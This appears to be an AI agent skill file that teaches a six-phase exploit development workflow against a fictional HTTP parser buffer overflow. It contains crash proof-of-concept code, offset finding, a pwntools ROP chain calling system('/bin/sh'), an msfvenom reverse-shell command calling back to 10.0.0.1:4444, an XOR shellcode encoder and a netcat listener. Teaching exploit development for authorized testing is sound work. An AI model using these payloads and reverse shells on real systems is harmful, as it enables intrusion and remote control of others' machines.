---
name: Exploit Development Workflow
description: Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization
when_to_use: After discovering a vulnerability that requires custom exploit development, when adapting public exploits, or when building proof-of-concept code for zero-day vulnerabilities
version: 1.0.0
languages: python, c, assembly, shellcode
---

# Exploit Development Workflow

## Overview

Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.

**Core principle:** Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.

## When to Use

Use this skill when:
- You've discovered a vulnerability requiring custom exploit
- Adapting public exploits to different environments
- Developing proof-of-concept for bug bounty/responsible disclosure
- Creating reliable exploitation tools for penetration testing
- Researching exploitation techniques for educational purposes

**Don't use when:**
- No authorization to test/exploit the target
- Developing for malicious purposes
- Skipping the root cause analysis phase
- Haven't fully understood the vulnerability

## The Six-Phase Workflow

### Phase 1: Vulnerability Analysis

**Goal:** Fully understand the vulnerability, its root cause, and exploitation constraints.

**Activities:**

1. **Root Cause Analysis**
   ```python
   # Document the vulnerability
   """
   Vulnerability: Buffer Overflow in parse_header()
   
   Root Cause:
   - Function: parse_header() in http_parser.c:234
   - Issue: strcpy() without bounds checking
   - Input: HTTP Host header
   - Trigger: Header > 256 bytes
   
   Requirements:
   - Network access to service (port 8080)
   - No authentication required
   - Service runs as root (target for privilege escalation)
   
   Constraints:
   - Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
   - Stack cookies: DISABLED (binary analysis confirms)
   - ASLR: ENABLED on target system
   - NX: ENABLED (stack not executable)
   """
   ```

2. **Attack Surface Mapping**
   - How can attacker reach vulnerable code path?
   - What inputs are controllable?
   - What security mitigations are present?
   - What are success criteria for exploitation?

3. **Environment Setup**
   ```bash
   # Set up identical testing environment
   # - Same OS version
   # - Same library versions
   # - Same compiler/build flags if possible
   
   # For binary exploitation
   gdb-peda target_binary
   checksec target_binary
   
   # Check ASLR, NX, stack canaries, PIE
   # Install debugging symbols if available
   ```

### Phase 2: Proof of Concept (Crash)

**Goal:** Trigger the vulnerability reliably and confirm exploitation is possible.

**Activities:**

1. **Initial Trigger**
   ```python
   #!/usr/bin/env python3
   # poc_crash.py - Trigger the vulnerability
   
   import socket
   import sys
   
   # Target configuration
   TARGET_IP = "192.168.1.100"
   TARGET_PORT = 8080
   
   # Create malicious payload
   # Start with pattern to identify offset
   payload = b"A" * 300  # Exceeds 256 byte buffer
   
   # Build HTTP request
   request = b"GET / HTTP/1.1\r\n"
   request += b"Host: " + payload + b"\r\n"
   request += b"Connection: close\r\n\r\n"
   
   # Send exploit
   print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((TARGET_IP, TARGET_PORT))
   
   print(f"[*] Sending {len(payload)} byte payload")
   s.send(request)
   
   response = s.recv(4096)
   print(f"[*] Response: {response[:100]}")
   
   s.close()
   print("[+] Payload sent")
   ```

2. **Verify Crash**
   ```bash
   # Run target under debugger
   gdb -q ./target_binary
   (gdb) run
   
   # In another terminal, run PoC
   python3 poc_crash.py
   
   # Check crash details
   # - EIP/RIP overwritten?
   # - What address is being accessed?
   # - Segmentation fault or other error?
   ```

3. **Calculate Offset**
   ```bash
   # Generate cyclic pattern
   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
   
   # Update PoC with pattern, trigger crash
   # Check crash address in GDB
   
   # Calculate offset
   /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
   # [*] Exact match at offset 268
   ```

### Phase 3: Control Flow Hijacking

**Goal:** Gain control of execution flow (EIP/RIP control or equivalent).

**Activities:**

1. **Verify EIP/RIP Control**
   ```python
   # Update PoC to verify control
   offset = 268
   payload = b"A" * offset
   payload += b"BBBB"  # Should overwrite EIP with 0x42424242
   payload += b"C" * (300 - offset - 4)
   
   # Verify in debugger that EIP = 0x42424242
   ```

2. **Bypass Security Mitigations**
   
   **ASLR Bypass:**
   ```python
   # Option 1: Info leak to defeat ASLR
   # - Leak stack/heap/library address
   # - Use leaked address to calculate gadget locations
   
   # Option 2: Partial overwrite (if applicable)
   # - Overwrite only last 2 bytes of return address
   # - Brute force or use known offsets
   
   # Option 3: ROP chain with known gadgets
   # - Find gadgets in non-ASLR executable region
   ```
   
   **NX Bypass (Non-executable stack):**
   ```python
   # Use Return-Oriented Programming (ROP)
   # Find gadgets in existing executable code
   
   from pwn import *
   
   # Load binary
   elf = ELF('./target_binary')
   
   # Find gadgets
   rop = ROP(elf)
   
   # Build ROP chain
   # Example: call system("/bin/sh")
   pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
   bin_sh_addr = next(elf.search(b'/bin/sh'))
   system_addr = elf.symbols['system']
   
   payload = b"A" * offset
   payload += p64(pop_rdi)
   payload += p64(bin_sh_addr)
   payload += p64(system_addr)
   ```

3. **Test Control Flow**
   ```bash
   # Verify you can redirect execution
   # - Jump to custom shellcode (if NX disabled)
   # - Execute ROP chain (if NX enabled)
   # - Call arbitrary functions
   ```

### Phase 4: Payload Development

**Goal:** Develop payload that achieves exploitation objectives (shell, code execution, etc.).

**Activities:**

1. **Choose Payload Type**
   ```python
   # Common payload types:
   # - Bind shell: Open port on target
   # - Reverse shell: Connect back to attacker
   # - Execute command: Run specific command
   # - Download and execute: Fetch second-stage payload
   # - Meterpreter/C2 agent: Full-featured backdoor
   ```

2. **Generate Shellcode**
   ```bash
   # Using msfvenom
   msfvenom -p linux/x64/shell_reverse_tcp \
            LHOST=10.0.0.1 \
            LPORT=4444 \
            -f python \
            -b '\x00\x0a\x0d' \
            -v shellcode
   
   # Or write custom shellcode
   # - More reliable
   # - Smaller size
   # - Custom functionality
   ```

3. **Handle Bad Characters**
   ```python
   # Encode shellcode to avoid bad characters
   
   # Option 1: Alpha-numeric encoding
   # Option 2: XOR encoding
   # Option 3: Custom encoding with stub
   
   def xor_encode(shellcode, key=0x42):
       encoded = b""
       for byte in shellcode:
           encoded += bytes([byte ^ key])
       return encoded
   
   # Prepend decoder stub
   decoder_stub = b"\x48\x31\xc0..."  # Assembly to decode in memory
   encoded_shellcode = xor_encode(shellcode, 0x42)
   final_payload = decoder_stub + encoded_shellcode
   ```

### Phase 5: Exploit Reliability

**Goal:** Make exploit work consistently across environments and conditions.

**Activities:**

1. **Handle Timing Issues**
   ```python
   # Add appropriate delays
   time.sleep(0.5)  # Wait for service to process
   
   # Handle slow networks
   s.settimeout(10)
   
   # Retry logic
   max_retries = 3
   for attempt in range(max_retries):
       try:
           # Attempt exploitation
           break
       except Exception as e:
           if attempt == max_retries - 1:
               raise
           time.sleep(1)
   ```

2. **Environment Detection**
   ```python
   def detect_environment():
       """Detect target environment for dynamic exploit adjustment"""
       # Banner grabbing
       banner = s.recv(1024)
       
       # Parse version info
       if b"v2.1" in banner:
           return "v2.1_offsets"
       elif b"v2.2" in banner:
           return "v2.2_offsets"
       else:
           raise Exception("Unknown version")
   
   # Use environment-specific offsets/addresses
   offsets = {
       "v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
       "v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
   }
   ```

3. **Error Handling**
   ```python
   class ExploitException(Exception):
       pass
   
   def exploit(target_ip, target_port):
       try:
           # Exploitation code
           pass
       except socket.timeout:
           print("[-] Connection timeout - target may be down")
           return False
       except ConnectionRefusedError:
           print("[-] Connection refused - service not running")
           return False
       except ExploitException as e:
           print(f"[-] Exploit failed: {e}")
           return False
       
       return True
   ```

### Phase 6: Weaponization and Documentation

**Goal:** Package exploit as professional tool with documentation.

**Activities:**

1. **Command-Line Interface**
   ```python
   #!/usr/bin/env python3
   import argparse
   
   def main():
       parser = argparse.ArgumentParser(
           description='HTTP Parser Buffer Overflow Exploit',
           epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
       )
       parser.add_argument('-t', '--target', required=True,
                          help='Target IP address')
       parser.add_argument('-p', '--port', type=int, default=8080,
                          help='Target port (default: 8080)')
       parser.add_argument('-l', '--lhost', required=True,
                          help='Listener IP:port for reverse shell')
       parser.add_argument('-v', '--verbose', action='store_true',
                          help='Verbose output')
       
       args = parser.parse_args()
       
       # Parse LHOST:LPORT
       lhost, lport = args.lhost.split(':')
       
       # Run exploit
       exploit(args.target, args.port, lhost, int(lport), args.verbose)
   
   if __name__ == '__main__':
       main()
   ```

2. **Comprehensive Documentation**
   ```markdown
   # HTTP Parser Buffer Overflow Exploit
   
   ## Vulnerability Details
   - CVE: CVE-2024-XXXXX (if applicable)
   - Vendor: ExampleCorp
   - Product: HTTP Parser v2.1-2.3
   - Type: Stack-based buffer overflow
   - Impact: Remote Code Execution
   
   ## Affected Versions
   - HTTP Parser 2.1.0 - 2.3.5
   - Fixed in version 2.3.6
   
   ## Requirements
   - Network access to target HTTP service (default port 8080)
   - Python 3.6+
   - pwntools library (`pip3 install pwntools`)
   
   ## Usage
   ```bash
   # Start listener on attacker machine
   nc -lvnp 4444
   
   # Run exploit
   python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
   ```
   
   ## Technical Details
   ### Root Cause
   The vulnerability exists in `parse_header()` function which uses unsafe
   `strcpy()` to copy user-supplied Host header into fixed-size stack buffer.
   
   ### Exploitation Process
   1. Send oversized Host header (300 bytes)
   2. Overwrite return address at offset 268
   3. Redirect to ROP chain (bypass NX)
   4. ROP chain calls mprotect() to mark stack executable
   5. Jump to shellcode on stack
   6. Shellcode connects back to attacker
   
   ### Security Mitigations Bypassed
   - ASLR: Using ROP gadgets from main executable (non-ASLR)
   - NX: ROP chain to call mprotect() before shellcode execution
   - Stack Canaries: Disabled in vulnerable versions
   
   ## Limitations
   - Requires target to run vulnerable version
   - Target must be network-accessible
   - Service must be running (not crashed)
   - Shellcode limited by bad characters (\x00, \x0a, \x0d)
   
   ## Remediation
   - Update to version 2.3.6 or later
   - Implement bounds checking in parse_header()
   - Enable stack canaries during compilation
   - Run service with reduced privileges
   
   ## References
   - Advisory: https://example.com/advisory/CVE-2024-XXXXX
   - Patch: https://github.com/vendor/product/commit/abc123
   ```

## Testing and Validation

**Always test exploits thoroughly:**

1. **Local Testing**
   ```bash
   # Set up isolated test environment
   # - Virtual machines
   # - Docker containers
   # - Separate network segment
   ```

2. **Success Criteria**
   - Exploit works reliably (>90% success rate)
   - Payload executes as expected
   - No unintended crashes or damage
   - Clean exit possible (if designed)

3. **Edge Cases**
   - Different OS versions
   - Different architecture (32-bit vs 64-bit)
   - Different security settings
   - Slow or unreliable networks

## Common Pitfalls

| Mistake | Impact | Solution |
|---------|--------|----------|
| Skipping root cause analysis | Unreliable exploit | Fully understand vulnerability first |
| Not handling bad characters | Exploit fails | Test for and encode around bad chars |
| Ignoring security mitigations | Exploit doesn't work | Identify and bypass each mitigation |
| Hardcoding addresses | Exploit non-portable | Use relative offsets or info leaks |
| No error handling | Exploit crashes on failure | Add comprehensive error handling |
| Poor documentation | Others can't use/verify | Document thoroughly |

## Legal and Ethical Considerations

**CRITICAL - Always follow these rules:**

1. **Authorization Required**
   - Never exploit systems without written permission
   - Understand scope and limitations
   - Bug bounty programs have specific rules

2. **Responsible Disclosure**
   - Report to vendor first (typically 90 days before public)
   - Don't release weaponized exploits publicly without coordination
   - Follow coordinated disclosure timelines

3. **No Malicious Use**
   - Exploit development for defense, research, or authorized testing only
   - Never use against unauthorized targets
   - Understand legal consequences

4. **Data Protection**
   - Don't access or exfiltrate sensitive data
   - Minimize impact on systems
   - Document all testing activities

## Tool Recommendations

**Exploitation Frameworks:**
- Metasploit Framework
- pwntools (Python)
- ROPgadget
- radare2/rizin

**Debugging:**
- GDB with PEDA/GEF/pwndbg
- WinDbg (Windows)
- IDA Pro/Ghidra for reversing

**Shellcode:**
- msfvenom
- shellcode compilers
- Custom assembly

## Integration with Other Skills

This skill works with:
- skills/analysis/binary-analysis - Prerequisite for understanding target
- skills/exploitation/payload-generation - Related to Phase 4
- skills/analysis/zero-day-hunting - Upstream vulnerability discovery
- skills/automation/* - Automate exploit testing
- skills/documentation/* - Document exploits properly

## Success Metrics

A successful exploit should:
- Work reliably (>90% success rate in test environment)
- Handle errors gracefully
- Be well-documented
- Include usage examples
- Respect ethical/legal boundaries
- Minimize unintended impact

## References and Further Reading

- "The Shellcoder's Handbook" by Koziol et al.
- "Hacking: The Art of Exploitation" by Jon Erickson
- "A Guide to Kernel Exploitation" by Perla & Oldani
- Corelan tutorials on exploit development
- LiveOverflow YouTube series
- Exploit-DB and CVE databases for examples
